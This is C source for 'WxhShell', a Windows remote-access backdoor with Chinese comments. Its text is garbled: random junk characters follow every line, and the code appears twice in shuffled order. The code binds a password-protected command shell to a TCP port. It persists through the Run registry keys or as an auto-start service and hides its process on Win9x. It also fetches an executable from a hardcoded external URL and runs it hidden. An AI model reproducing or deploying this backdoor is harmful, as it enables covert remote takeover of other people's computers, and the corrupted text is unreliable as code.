    if(Boot(SHUTDOWN)) g^+p7G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LxhS 9  
    else { ajk}&`Wj"  
    closesocket(wsh); B2Y.1mXq  
    ExitThread(0); NL$z4m0  
    } }k-8PG =  
    break; ^rO"U[To  
    } E#:!&{O  
  // 获取shell =EFh*sp  
  case 's': { _MTZuhY  
    CmdShell(wsh); L7buY(F(  
    closesocket(wsh); \]f+{d- &  
    ExitThread(0); j AOy3c  
    break; dv\bkDF4A  
  } 1gkpK`u(B  
  // 退出 M9R'ONYAa  
  case 'x': { Eqz|eS*6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (JlPe)Q5  
    CloseIt(wsh); ]VKQm(,0  
    break; Ut\:jV=f  
    } A/I\MN|  
  // 离开 er7(Wph  
  case 'q': { 27ZqdHd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  FNH)wk  
    closesocket(wsh); nL=+`aq_  
    WSACleanup(); Yft [)id  
    exit(1); C}mhnU@  
    break; ,H+Y1N4W(  
        } U[x$QG6m!  
  } 4%~*}  
  } >4luZnWMI  
ljZRz$y  
  // 提示信息 lb'tVO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C_Q3^mLx  
} U&BCd$  
  } KLW5Ad:/rI  
T(x@ gwc  
  return; L5x;# \#p  
} WyatHC   
E8r6P:5d`  
// shell模块句柄 N Nk  
int CmdShell(SOCKET sock) "NA<^2W@J  
{ XyN " Jr  
STARTUPINFO si; $+GDPYm'  
ZeroMemory(&si,sizeof(si)); u*2?Gky  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zO"De~[9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v(yJGEf0  
PROCESS_INFORMATION ProcessInfo; %P s.r{%{  
char cmdline[]="cmd"; C @<T(`o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r'{N_|:vv  
  return 0; v; i4ZSV^A  
} lM4Z7mT /  
tcXXo&ZS  
// 自身启动模式 MF<ZB_@  
int StartFromService(void) ]?1_.Wjtt  
{ ^PNDxtd|v  
typedef struct k5aB|xo  
{ ]>(pj9)  
  DWORD ExitStatus; J";N^OR{A%  
  DWORD PebBaseAddress; hQj@D\}  
  DWORD AffinityMask; } uS0N$4  
  DWORD BasePriority; W/BPf{U  
  ULONG UniqueProcessId; ;]grbqXVE  
  ULONG InheritedFromUniqueProcessId; 41Q 5%2  
}   PROCESS_BASIC_INFORMATION; $L0sBW&  
I m I$~q'  
PROCNTQSIP NtQueryInformationProcess; 8k-]u3  
I?PqWG!O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EB!ne)X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nX3?7"v  
?lD)J?j  
  HANDLE             hProcess; ;&CLb`<y  
  PROCESS_BASIC_INFORMATION pbi; g?"QahH G  
7!cLTq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \_,p@r]Q  
  if(NULL == hInst ) return 0; TSewq4`K  
V5ZC2H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I9G^T' W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tIDN~[1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  :2nsi4  
$T3_~7N  
  if (!NtQueryInformationProcess) return 0; xgcJEox!  
!i-t6f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V:y6NfL7i'  
  if(!hProcess) return 0; ,V!"4 T,Z  
9F[3B`w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f:+/= MW  
uc+{<E3,%  
  CloseHandle(hProcess); q]OIP"yv  
Ph""[0n%o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O>pX(DS L  
if(hProcess==NULL) return 0; 4@fv%LOQo  
.%n_{ab1  
HMODULE hMod;  ,==_u  
char procName[255]; #<[&Lw  
unsigned long cbNeeded; !0?o3,of-  
^7+;XUyg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fdK E1,;  
+_fFRyu>  
  CloseHandle(hProcess); EP@u4F  
![K\)7iKo  
if(strstr(procName,"services")) return 1; // 以服务启动 JS ^Cc  
n-8/CBEH(  
  return 0; // 注册表启动 _[&V9 Jt  
} N,qo/At}R[  
}_KzF~  
// 主模块 }p6]az3  
int StartWxhshell(LPSTR lpCmdLine) o%~fJx:]y  
{ 8WQ#)  
  SOCKET wsl; #[9UCX^=  
BOOL val=TRUE; mM&P&mz/D  
  int port=0; 6vbKKn`ST  
  struct sockaddr_in door; 1z7+:~;l  
BH {z]a  
  if(wscfg.ws_autoins) Install();  :'F,l:  
M}[Q2v\  
port=atoi(lpCmdLine); _f@,) n  
6 agG*x  
if(port<=0) port=wscfg.ws_port; 8a 8a:d  
36OQHv;&  
  WSADATA data; B1|nT?}J(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xK_UkB-$i  
PI%l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UAXp;W`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0>CG2SRn  
  door.sin_family = AF_INET; [ K/l;Zd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C <:g"F:k  
  door.sin_port = htons(port); lfM vNv  
}:faHLYT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N}U+K  
closesocket(wsl); ]dGH i \  
return 1; `Z,WKus  
} ek<B=F  
(Z$7;OAI  
  if(listen(wsl,2) == INVALID_SOCKET) { ]2f-oz*hU  
closesocket(wsl); H6`k%O*  
return 1; ]pe7I P  
} wnd #J `  
  Wxhshell(wsl); (LTu=1  
  WSACleanup(); 8m' f8.x  
h?dSn:Y\?  
return 0; heIys.p  
el5Pe{j '  
} ^V;r  
cwvJH&%0  
// 以NT服务方式启动 5lHt~hB\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3HtM<su*h  
{ I-!7 EC2{!  
DWORD   status = 0; gD)M7`4  
  DWORD   specificError = 0xfffffff; s3A(`heoq  
E8kD#tL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]_B<K5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %%X/gvaJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }Y!V3s1bm  
  serviceStatus.dwWin32ExitCode     = 0; iSf%N>y'K  
  serviceStatus.dwServiceSpecificExitCode = 0; )wjpxr  
  serviceStatus.dwCheckPoint       = 0; i695P}J2  
  serviceStatus.dwWaitHint       = 0; DDmC3  
mr}o0@5av  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0cB]:*W  
  if (hServiceStatusHandle==0) return; WDxcV%  
yWZ_  
status = GetLastError(); [x 7Rq_^  
  if (status!=NO_ERROR) )2y [#Blo  
{ ! U@ETo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sT1OAK\^  
    serviceStatus.dwCheckPoint       = 0; 83vZRQw  
    serviceStatus.dwWaitHint       = 0; .CEC g*f  
    serviceStatus.dwWin32ExitCode     = status; v0) %S  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0);5cbV7i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -<x%  
    return; ,?m@Ko7Y  
  } YC%x W*  
YvG$2F|_)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r>8`g Ahx  
  serviceStatus.dwCheckPoint       = 0; Y~*p27@fR  
  serviceStatus.dwWaitHint       = 0; .&b^6$dC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hz,Gn9:p  
} /Hk})o_  
Y{j~;G@Wl  
// 处理NT服务事件,比如:启动、停止 z@IG"D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g5 *E\T%8  
{ P51cEhf  
switch(fdwControl) r|}Pg}O  
{ 7<70\ 6  
case SERVICE_CONTROL_STOP: t9<BQg  
  serviceStatus.dwWin32ExitCode = 0; }!fIY7gv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0c"9C_7^g  
  serviceStatus.dwCheckPoint   = 0; Oi|cTZ@A-  
  serviceStatus.dwWaitHint     = 0; 5w>TCx  
  { h/C{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AUF[hzA  
  } nWCJY:q;5  
  return; n+=7u[AZi  
case SERVICE_CONTROL_PAUSE: ).,twf58  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nz{qu}dt  
  break; _gK}Gi?|  
case SERVICE_CONTROL_CONTINUE: ZJbaioc\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *fi`DiO  
  break; ,.{M1D6'R`  
case SERVICE_CONTROL_INTERROGATE: [YlRz  
  break; $H@   
}; oAN,_1v)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p Cx_[#DrP  
} EK>x\]O%T  
`>KNa"b%$  
// 标准应用程序主函数 E5S(1Z}]p{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T)22P<M8  
{ FB?V<x  
uh 9b!8  
// 获取操作系统版本 V 7~9z\lW  
OsIsNt=GetOsVer(); y /8iEs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NlhC7  
fMf;  
  // 从命令行安装 D3g5#.$,}>  
  if(strpbrk(lpCmdLine,"iI")) Install(); +-t&li%F  
(Q `Ps /  
  // 下载执行文件 x^[0UA]S9  
if(wscfg.ws_downexe) { 9BOn8p;yz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p79QEIbk=  
  WinExec(wscfg.ws_filenam,SW_HIDE); (@T{ [\  
} 5R.jhYAj  
Ro$*bN6p  
if(!OsIsNt) { G1X73qoHT<  
// 如果时win9x,隐藏进程并且设置为注册表启动 )qX.!&|I  
HideProc(); lgt&kdc%o  
StartWxhshell(lpCmdLine); =?Co<972Z  
} Q!-"5P X  
else yWc%z6dXC  
  if(StartFromService()) DZESvIES  
  // 以服务方式启动 ~<IQe-Q 5  
  StartServiceCtrlDispatcher(DispatchTable); N>L)2WKFT  
else )=glN<*?  
  // 普通方式启动 ?:GrM!kq76  
  StartWxhshell(lpCmdLine); {1UU `d  
[xfg6  
return 0; M4 ?>x[Pw  
} nRq[il0 `i  
Xq"9TYf$  
x=K'Jj  
a]V#mF |{  
=========================================== `mZ1!I-T  
[G+@[9hn%  
U\{I09@E 0  
[4;_8-[Nv  
v8uUv%Hkd  
OPq6)(Q  
" F-~Xbz%  
k=Wt57jt  
#include <stdio.h> WzdlrkD  
#include <string.h> Eos;7$u[  
#include <windows.h> CucW84H`J  
#include <winsock2.h> @!x7jPr  
#include <winsvc.h> [=-,i#4  
#include <urlmon.h> A&KY7[<AC{  
9l&G2 o   
#pragma comment (lib, "Ws2_32.lib") |tY6+T}  
#pragma comment (lib, "urlmon.lib") ze+S_{  
#\="^z6  
#define MAX_USER   100 // 最大客户端连接数 lzFg(Ds!f  
#define BUF_SOCK   200 // sock buffer }]=A:*jD  
#define KEY_BUFF   255 // 输入 buffer <T'fJcR  
GXv2B%i8  
#define REBOOT     0   // 重启 h52+f  
#define SHUTDOWN   1   // 关机 Pa; *%7  
Cx) N;x  
#define DEF_PORT   5000 // 监听端口 h4slQq~K  
)=N.z6?  
#define REG_LEN     16   // 注册表键长度 h_Er$ZT64  
#define SVC_LEN     80   // NT服务名长度 >9g^-~X;v  
E/% F0\B  
// 从dll定义API I2z7}*<u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Br$/hn=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '/ueY#eG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +~ S7]AZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |CS&H2!s  
zZ<~yi3A9  
// wxhshell配置信息 *D7oHwDU  
struct WSCFG { D* HK[_5  
  int ws_port;         // 监听端口 )B @&q.2B=  
  char ws_passstr[REG_LEN]; // 口令 0eCjK.   
  int ws_autoins;       // 安装标记, 1=yes 0=no Np~qtR  
  char ws_regname[REG_LEN]; // 注册表键名 h^ K>(x  
  char ws_svcname[REG_LEN]; // 服务名 m|Z[8Tup  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i-k(/Y0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7` XECIh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uxq#q1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M 8mNeh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z\?!& &  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ryd}-_LL  
{5fq4A A6  
}; 3fop.%(  
127@ TN"  
// default Wxhshell configuration QX-M'ur99  
struct WSCFG wscfg={DEF_PORT, $i `@0+:  
    "xuhuanlingzhe", )fT0FLl|1  
    1, "bjbJC&T  
    "Wxhshell", 6~k qU4lL  
    "Wxhshell", P_@ty~u  
            "WxhShell Service", M?$tHA~OX  
    "Wrsky Windows CmdShell Service", %#]/ ]B/4  
    "Please Input Your Password: ", ?H!X p  
  1, t6+>Zr  
  "http://www.wrsky.com/wxhshell.exe", :~,akX$  
  "Wxhshell.exe" 61TL]S8  
    }; S7hfwu&7F  
! }awlv;  
// 消息定义模块 1[dQVJqMp(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dp1t]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W?@+LQa??  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YGq-AB  
char *msg_ws_ext="\n\rExit."; tkix@Q!;\  
char *msg_ws_end="\n\rQuit."; _..5G7%#%  
char *msg_ws_boot="\n\rReboot..."; KEr?&e  
char *msg_ws_poff="\n\rShutdown..."; k .F(*kh  
char *msg_ws_down="\n\rSave to "; IZ_ B $mo  
{O[ !*+O  
char *msg_ws_err="\n\rErr!"; 1`n ZK$  
char *msg_ws_ok="\n\rOK!"; VqB9^qJ]!  
&cx]7:;  
char ExeFile[MAX_PATH]; iB'g7&,L  
int nUser = 0; O{G $]FtF  
HANDLE handles[MAX_USER]; k1WyV_3  
int OsIsNt; ]0p*EB=C*  
%{P." ki  
SERVICE_STATUS       serviceStatus; -| t|w:&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v-Uz,3  
gkv,Om  
// 函数声明 e}"k8 ./  
int Install(void); 1]jUiX=T  
int Uninstall(void); E!>l@ ki  
int DownloadFile(char *sURL, SOCKET wsh); ~_SVQ7P  
int Boot(int flag); 4b$m\hoN  
void HideProc(void); pvd9wKz  
int GetOsVer(void); 7m 9T'  
int Wxhshell(SOCKET wsl); ngaQa-8w  
void TalkWithClient(void *cs); ),I7+rY  
int CmdShell(SOCKET sock); gq?~*4H  
int StartFromService(void); >z8y L+  
int StartWxhshell(LPSTR lpCmdLine); }(if|skau  
E{|n\|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fd0\T#k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^TY8,qDA  
51M'x_8  
// 数据结构和表定义 rxIYgh  
SERVICE_TABLE_ENTRY DispatchTable[] = v]KI=!Gs  
{ mc5$-}1V,  
{wscfg.ws_svcname, NTServiceMain}, `?Xt ,  
{NULL, NULL} }A_>J7w  
}; 2$QuR~  
t!vlZNc  
// 自我安装 x1*@PiO,.  
int Install(void) Z{.L_ ]$ I  
{ \U'TL_Ql  
  char svExeFile[MAX_PATH]; bk-aj'>+  
  HKEY key; u&Dd9kMz  
  strcpy(svExeFile,ExeFile); iJK rNRj  
,k3aeM~`%w  
// 如果是win9x系统,修改注册表设为自启动 CU(W0D  
if(!OsIsNt) { s((_^yf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  SjO Iln  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @-qC".CI  
  RegCloseKey(key); ()i!Uo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QJ-?6 7_i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EC| b7  
  RegCloseKey(key); Z})n%l8J]p  
  return 0; \\~4$Ai[  
    } 6MR S0{  
  } 6PI-"He  
} GB_ m&t  
else { |k9A*7I  
s97L/iH  
// 如果是NT以上系统,安装为系统服务 _`Sz}Yk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ed)!Snz   
if (schSCManager!=0) N[,/VCW  
{ pV))g e\  
  SC_HANDLE schService = CreateService ) N"gW*  
  ( Y:="vWWG  
  schSCManager, Ycx$CU C  
  wscfg.ws_svcname, /L"&'~  
  wscfg.ws_svcdisp, #[#dc]D  
  SERVICE_ALL_ACCESS, KBFAV&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DWH)<\?  
  SERVICE_AUTO_START, /C}fE]n{X  
  SERVICE_ERROR_NORMAL, Kq0hT4w  
  svExeFile, J#W>%2 "s  
  NULL, &hYjQ&n  
  NULL, jNNl5.  
  NULL, t| zLR  
  NULL, 6Gs,-Kb:  
  NULL Cx/duod p  
  ); #0WO~wL  
  if (schService!=0) cBA2;5E  
  { $T0|zPK5  
  CloseServiceHandle(schService); $rC`)"t  
  CloseServiceHandle(schSCManager); "]`QQT-{0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DD hc^(  
  strcat(svExeFile,wscfg.ws_svcname); h@D4~(r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9?W38EF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;nJCd1H  
  RegCloseKey(key); ARu^hz=  
  return 0; 5+O#5" v_  
    } 4[&6yHJ^  
  } wB( igPi  
  CloseServiceHandle(schSCManager); l9.wMs*`X  
} ),6Z1 K1  
} $mOK|=tI_  
g%<7Px[W  
return 1; {:enoV"  
} 6A/|XwfE/v  
6dmTv9e  
// 自我卸载 Z@8amT;Y  
int Uninstall(void) /qL&)24  
{ hK$-R1O  
  HKEY key; y6?Q5x9M  
|T"{q  
if(!OsIsNt) { GOwd=]e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S[" &8Fy  
  RegDeleteValue(key,wscfg.ws_regname); i9)y|  
  RegCloseKey(key); <s#}`R.#2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;@ d<*  
  RegDeleteValue(key,wscfg.ws_regname); q+o(`N'~G  
  RegCloseKey(key); MU&5&)m  
  return 0; "v3u$-xN1  
  } aV(*BE/@F  
} O'-lBf+<  
} 1|cmmUM-'v  
else { u-k?ef  
CsR~qQ 5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uYMW5k_,>  
if (schSCManager!=0) {hRAR8  
{ Qzh:*O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <ZrZSt+<  
  if (schService!=0) +V8yv-/{  
  { 3P6!j  
  if(DeleteService(schService)!=0) { =8dCk\/  
  CloseServiceHandle(schService); R4JO)<'K&  
  CloseServiceHandle(schSCManager); l>&)_:\  
  return 0; a4: PufS  
  } *G~c6B Z  
  CloseServiceHandle(schService); a<gzI  
  } n(f&uV_):  
  CloseServiceHandle(schSCManager); a3lo;Cfp  
} :({lXGc}4?  
} i]$7w! r&  
65J'u N  
return 1; x{ZVq 4  
} G%kXr$?W  
KQ9:lJKr  
// 从指定url下载文件 t8)Fkx#8}  
int DownloadFile(char *sURL, SOCKET wsh) 3^su%z_%  
{ f (n{7  
  HRESULT hr; d) o<R;F  
char seps[]= "/"; JrL/LGY  
char *token; -G Kelz?h>  
char *file; LbYI{|_Js  
char myURL[MAX_PATH]; ?n@PZL= ]  
char myFILE[MAX_PATH]; ;LrKXp  
kkOYC?zE?  
strcpy(myURL,sURL); Mc6Cte]3|  
  token=strtok(myURL,seps); nC&rQQFF  
  while(token!=NULL) (x$k\H  
  { ?I@3`?'  
    file=token; wc,y+C#V  
  token=strtok(NULL,seps); In;z\"NN4  
  } &1':s|c  
Jc%>=`f  
GetCurrentDirectory(MAX_PATH,myFILE); &&<^wtznO  
strcat(myFILE, "\\"); !J6s^um  
strcat(myFILE, file); *<A;jP  
  send(wsh,myFILE,strlen(myFILE),0); >Ia(g0  
send(wsh,"...",3,0);  +NXj/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f@/qW!o  
  if(hr==S_OK) -=sxbs.aA  
return 0; \A~  '&  
else ~V|!\CB  
return 1; <s7{6n')  
g<dCUIbcQ  
} ~!nd'{{9  
#U_u~7?H$  
// 系统电源模块 pM7BdMp   
int Boot(int flag) PvB?57wkF  
{ F'~/  
  HANDLE hToken; P`%ppkzV6  
  TOKEN_PRIVILEGES tkp; *HXq`B  
X%F9.<4  
  if(OsIsNt) { RU >vnDaC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G[^G~U\+!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V[bc-m  
    tkp.PrivilegeCount = 1; \S@A /t6pa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k?8W2fC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IGqmH=-  
if(flag==REBOOT) { JZnWzqFw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Its;|  
  return 0; +8Px` v1L  
} 'OihA^e  
else { V_1#7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RtW5U8  
  return 0; f:Ja  
} 'q^Gg;c>+  
  } D8#q.OR]  
  else { &Egn`QU  
if(flag==REBOOT) { y^Jv?`jw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j bGH3 L  
  return 0; RQ'c~D)X  
} dB,#`tc=,  
else { vp|=q;Q%r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c]n03o  
  return 0; (hV"z;rI  
} #~f+F0#%?  
} 2Ee1mbZVw8  
@/u`7FO$&  
return 1; &e)p6Egl  
} 9}mp,egV  
,Ex\\p-  
// win9x进程隐藏模块 2~U+PyeNz  
void HideProc(void) bOdv]nQ1  
{ %Uk/P  
lG+ltCc$9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &sgwY  
  if ( hKernel != NULL ) *u>\&`h=  
  { 3.H-G~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;E"mB4/)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :&-}S>pC  
    FreeLibrary(hKernel); :Ir:OD# o  
  } .:raeDrd  
IjRmpVcwN  
return; M^f1D&A  
} S3w?Zk3hO  
K{ P#[X*5  
// 获取操作系统版本 ;X6y.1N~  
int GetOsVer(void) [Z+,)-ke  
{ cs M|VNE>  
  OSVERSIONINFO winfo; S}f<@-16P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )89jP088V  
  GetVersionEx(&winfo); 11T\2&Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8'[wa  
  return 1; -8jqC6mQ  
  else \@3  
  return 0; bx^EaXj(r  
} fYjsSUnf  
]."c4S_)|  
// 客户端句柄模块 NKKO A  
int Wxhshell(SOCKET wsl) ?t42=nvf  
{ UhTr<(@  
  SOCKET wsh; oI~Qo*4eh  
  struct sockaddr_in client; zs:7!  
  DWORD myID; j1C.#-P[  
P0(~~z&%[  
  while(nUser<MAX_USER) PZR%8 m}]u  
{ @R&D["!  
  int nSize=sizeof(client); |Z^g\l.j{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7uxPkZbb  
  if(wsh==INVALID_SOCKET) return 1; q$rA-`jw  
vUs7#*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'uzv\[  
if(handles[nUser]==0) ^z;,deoGh  
  closesocket(wsh); tuUXW5!/  
else o#) !b:/  
  nUser++;  BZc-  
  } 3/=QZ8HA&-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $)]FCuv  
kw:D~E (  
  return 0; j/pQSlV  
} Le JlTWotC  
MEnHC'nI  
// 关闭 socket Jwt I(>cI  
void CloseIt(SOCKET wsh) Q3q.*(#  
{ faOWhIG  
closesocket(wsh); %u0;.3Gw  
nUser--; *9ub.:EUwV  
ExitThread(0); si_ HN{  
} m=,c,*>  
gA1in  
// 客户端请求句柄 p-r%MnT  
void TalkWithClient(void *cs) 5@ +Ei25  
{ +%\j$Pv  
7U`S9DDwq  
  SOCKET wsh=(SOCKET)cs; o>-v?Ug  
  char pwd[SVC_LEN]; = DTOI  
  char cmd[KEY_BUFF]; e=UVsYNx  
char chr[1]; cloSJmUlQ  
int i,j; MH;%Y"EI  
dG?a"/MA  
  while (nUser < MAX_USER) { ;6txTcn`=  
67\Ojl~(1  
if(wscfg.ws_passstr) { *>p(]_s,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %O=V4%"m\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zt2@?w;  
  //ZeroMemory(pwd,KEY_BUFF); 9Pp|d"6]y  
      i=0; M6*{#Y?  
  while(i<SVC_LEN) { X7d.Ie  
fP1OH&Ar  
  // 设置超时 sVdK^|j  
  fd_set FdRead; ?EQ^n3U$  
  struct timeval TimeOut; 3e6Y  
  FD_ZERO(&FdRead); q;zf|'&*7C  
  FD_SET(wsh,&FdRead); X5|/s::u  
  TimeOut.tv_sec=8;  5vF}F^  
  TimeOut.tv_usec=0; 9r+O!kF(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~)a ;59<$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0s9z @>2  
k)K-mD``U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <N=p:e,aN,  
  pwd=chr[0]; `s> =Sn&UP  
  if(chr[0]==0xd || chr[0]==0xa) { ZHF(q6T  
  pwd=0; iq uTT~  
  break; %"[dGB$S  
  } X/8iJ-KB  
  i++; Te@6N\g  
    } SslY]d]  
5Vo}G %g  
  // 如果是非法用户,关闭 socket ;;'a--'"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t?nc0;Q9,@  
} G6 8Nv:  
_RL-6jw#o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :sVHY2x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'cF%4F  
zL},`:(.  
while(1) { -?B9>6 h "  
L0mnU)Q}C  
  ZeroMemory(cmd,KEY_BUFF); sK%Hx`  
_`Q It>R  
      // 自动支持客户端 telnet标准   99Yo1Q 0  
  j=0; ~d%;~_n  
  while(j<KEY_BUFF) { 7Fi2^DlgX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )ClMw!ZrU  
  cmd[j]=chr[0]; 2vkB<[tSs  
  if(chr[0]==0xa || chr[0]==0xd) { >6I.%!jU  
  cmd[j]=0; !UMo4}Y  
  break; aR)en{W  
  } V9E6W*IE  
  j++; Lkl|4L   
    } x:?a;muf  
'#N5i  
  // 下载文件 Hg9.<|+yo  
  if(strstr(cmd,"http://")) { _0W;)v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i ,IM?+4  
  if(DownloadFile(cmd,wsh)) KHlIK`r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3U~lI&  
  else J/x@$'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +:,`sdv6o  
  } <P^hYj-swh  
  else { mheU#&|  
1n`1o-&l-  
    switch(cmd[0]) { .^LL9{?  
